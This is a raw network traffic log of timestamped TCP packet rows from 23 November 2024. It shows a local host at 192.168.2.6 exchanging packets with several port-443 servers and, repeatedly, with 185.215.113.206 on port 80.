Nov 23, 2024 09:16:53.199132919 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.200782061 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.200875998 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.201801062 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.201909065 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.202105045 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.202114105 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.236675978 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.236979008 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.237009048 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.238467932 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.238682985 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.239239931 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.239339113 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.239456892 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.239469051 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.247874975 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.248099089 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.248114109 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.251501083 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.251524925 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.251548052 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.251647949 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.252235889 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.252235889 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.252255917 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.252317905 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.274643898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.274665117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.274682045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.274702072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.274730921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.274822950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.275732994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.275895119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.276551008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.276617050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.284193993 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.299330950 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.314853907 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.314934015 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.314944983 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.346286058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.363173008 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.465867043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.523890972 CET	443	49877	104.117.182.59	192.168.2.6
Nov 23, 2024 09:16:53.523896933 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.524524927 CET	49877	443	192.168.2.6	104.117.182.59
Nov 23, 2024 09:16:53.524528027 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.524553061 CET	443	49877	104.117.182.59	192.168.2.6
Nov 23, 2024 09:16:53.524557114 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.525080919 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.525087118 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.525597095 CET	443	49877	104.117.182.59	192.168.2.6
Nov 23, 2024 09:16:53.525733948 CET	49877	443	192.168.2.6	104.117.182.59
Nov 23, 2024 09:16:53.526752949 CET	49877	443	192.168.2.6	104.117.182.59
Nov 23, 2024 09:16:53.526825905 CET	443	49877	104.117.182.59	192.168.2.6
Nov 23, 2024 09:16:53.533016920 CET	443	49871	23.219.82.40	192.168.2.6
Nov 23, 2024 09:16:53.533390999 CET	49871	443	192.168.2.6	23.219.82.40
Nov 23, 2024 09:16:53.533415079 CET	443	49871	23.219.82.40	192.168.2.6
Nov 23, 2024 09:16:53.534943104 CET	443	49871	23.219.82.40	192.168.2.6
Nov 23, 2024 09:16:53.535193920 CET	49871	443	192.168.2.6	23.219.82.40
Nov 23, 2024 09:16:53.536020041 CET	49871	443	192.168.2.6	23.219.82.40
Nov 23, 2024 09:16:53.536113024 CET	443	49871	23.219.82.40	192.168.2.6
Nov 23, 2024 09:16:53.548140049 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.548360109 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.548371077 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.549407959 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.549531937 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.549892902 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.549957991 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.579027891 CET	49877	443	192.168.2.6	104.117.182.59
Nov 23, 2024 09:16:53.579036951 CET	443	49877	104.117.182.59	192.168.2.6
Nov 23, 2024 09:16:53.579035997 CET	49871	443	192.168.2.6	23.219.82.40
Nov 23, 2024 09:16:53.579061985 CET	443	49871	23.219.82.40	192.168.2.6
Nov 23, 2024 09:16:53.594371080 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.594383001 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.595040083 CET	443	49875	23.219.82.72	192.168.2.6
Nov 23, 2024 09:16:53.598841906 CET	49875	443	192.168.2.6	23.219.82.72
Nov 23, 2024 09:16:53.598866940 CET	443	49875	23.219.82.72	192.168.2.6
Nov 23, 2024 09:16:53.599963903 CET	443	49875	23.219.82.72	192.168.2.6
Nov 23, 2024 09:16:53.600115061 CET	49875	443	192.168.2.6	23.219.82.72
Nov 23, 2024 09:16:53.601073027 CET	49875	443	192.168.2.6	23.219.82.72
Nov 23, 2024 09:16:53.601140976 CET	443	49875	23.219.82.72	192.168.2.6
Nov 23, 2024 09:16:53.625758886 CET	49877	443	192.168.2.6	104.117.182.59
Nov 23, 2024 09:16:53.625763893 CET	49871	443	192.168.2.6	23.219.82.40
Nov 23, 2024 09:16:53.643033981 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.643038034 CET	49875	443	192.168.2.6	23.219.82.72
Nov 23, 2024 09:16:53.643062115 CET	443	49875	23.219.82.72	192.168.2.6
Nov 23, 2024 09:16:53.689939976 CET	49875	443	192.168.2.6	23.219.82.72
Nov 23, 2024 09:16:53.715389013 CET	443	49876	18.173.219.40	192.168.2.6
Nov 23, 2024 09:16:53.715712070 CET	49876	443	192.168.2.6	18.173.219.40
Nov 23, 2024 09:16:53.715730906 CET	443	49876	18.173.219.40	192.168.2.6
Nov 23, 2024 09:16:53.716773033 CET	443	49876	18.173.219.40	192.168.2.6
Nov 23, 2024 09:16:53.716840029 CET	49876	443	192.168.2.6	18.173.219.40
Nov 23, 2024 09:16:53.717912912 CET	49876	443	192.168.2.6	18.173.219.40
Nov 23, 2024 09:16:53.717974901 CET	443	49876	18.173.219.40	192.168.2.6
Nov 23, 2024 09:16:53.761159897 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761188984 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761197090 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761214018 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761221886 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761230946 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761269093 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.761297941 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.761315107 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.761429071 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.769910097 CET	49876	443	192.168.2.6	18.173.219.40
Nov 23, 2024 09:16:53.769936085 CET	443	49876	18.173.219.40	192.168.2.6
Nov 23, 2024 09:16:53.793965101 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:53.794328928 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:53.794348955 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:53.796367884 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:53.796757936 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:53.797859907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.797934055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.798049927 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:53.798053026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.798352957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.798381090 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:53.798388004 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:53.798417091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.798430920 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:53.798455000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.798510075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.799489021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.799547911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.799674034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.800606012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.800780058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.800811052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.801692963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.801721096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.801723957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.801793098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.802764893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.802843094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.803877115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.803955078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.803985119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.805000067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.805119038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.805146933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.805368900 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.806094885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.806124926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.806222916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.806252003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.807168961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.807296991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.807331085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.807409048 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.808285952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.808315039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.808388948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.809421062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.809452057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.809475899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.810410976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.810491085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.810576916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.811022997 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.811059952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.811606884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.811702967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.811731100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.812695980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.812774897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.812807083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.813782930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.813899994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.813927889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.814979076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.815009117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.815121889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.816003084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.816010952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.816083908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.816092968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.816127062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.816920042 CET	49876	443	192.168.2.6	18.173.219.40
Nov 23, 2024 09:16:53.817101955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.817204952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.817295074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.818217039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.818276882 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.818314075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.818386078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.819063902 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.819081068 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.819330931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.819363117 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.819380045 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.819411039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.819427967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.819973946 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.820216894 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.820242882 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.820342064 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.820406914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.820497990 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.820518970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.820564032 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.820564032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.820600033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.821540117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.821677923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.821703911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.821816921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.822632074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.822738886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.822771072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.822822094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.823565006 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.823600054 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.823610067 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.823627949 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.823657990 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.823682070 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.823683023 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.823712111 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.823750019 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.823754072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.823828936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.823849916 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.823889017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.823982000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.824529886 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.824601889 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.824839115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.824953079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.825109005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.825206041 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.825284958 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.825771093 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.825783968 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.825809002 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:53.825819016 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:53.825926065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.826018095 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.826047897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.826216936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.826715946 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.826735020 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.827012062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.827128887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.827266932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.827356100 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.827362061 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.827728033 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.827760935 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.827809095 CET	443	49874	204.79.197.237	192.168.2.6
Nov 23, 2024 09:16:53.828150034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.828186035 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.828192949 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.828221083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.828238964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.828305960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.828511953 CET	49874	443	192.168.2.6	204.79.197.237
Nov 23, 2024 09:16:53.828521967 CET	443	49874	204.79.197.237	192.168.2.6
Nov 23, 2024 09:16:53.829082966 CET	443	49874	204.79.197.237	192.168.2.6
Nov 23, 2024 09:16:53.829279900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.829305887 CET	49874	443	192.168.2.6	204.79.197.237
Nov 23, 2024 09:16:53.829324961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.829353094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.829557896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.830183029 CET	443	49874	204.79.197.237	192.168.2.6
Nov 23, 2024 09:16:53.830338955 CET	49874	443	192.168.2.6	204.79.197.237
Nov 23, 2024 09:16:53.830364943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.830468893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.830475092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.830609083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.831438065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.831552982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.831768990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.832542896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.832572937 CET	49874	443	192.168.2.6	204.79.197.237
Nov 23, 2024 09:16:53.832643986 CET	443	49874	204.79.197.237	192.168.2.6
Nov 23, 2024 09:16:53.832665920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.832672119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.832714081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.832848072 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832876921 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832885981 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832905054 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832932949 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832941055 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832953930 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.832968950 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:53.832971096 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.833014965 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.833014965 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:53.833684921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.833759069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.833789110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.833862066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.834759951 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.834892988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.834939003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.835854053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.835890055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.835916996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.836410046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.836954117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.837126017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.837155104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.837173939 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.837301016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.838047028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.838203907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.838231087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.839149952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.839270115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.839302063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.839654922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.840279102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.840399027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.840425014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.840719938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.840720892 CET	49870	443	192.168.2.6	152.195.19.97
Nov 23, 2024 09:16:53.840734959 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:53.841377974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.841492891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.841545105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.842452049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.842601061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.842629910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.842746019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.843589067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.843699932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.843732119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.843797922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.844647884 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:53.844667912 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:53.844712019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.844820023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.844849110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.845012903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:53.845787048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:53.845896006 CET	80	49816	185.215.113.206	192.168.2.6
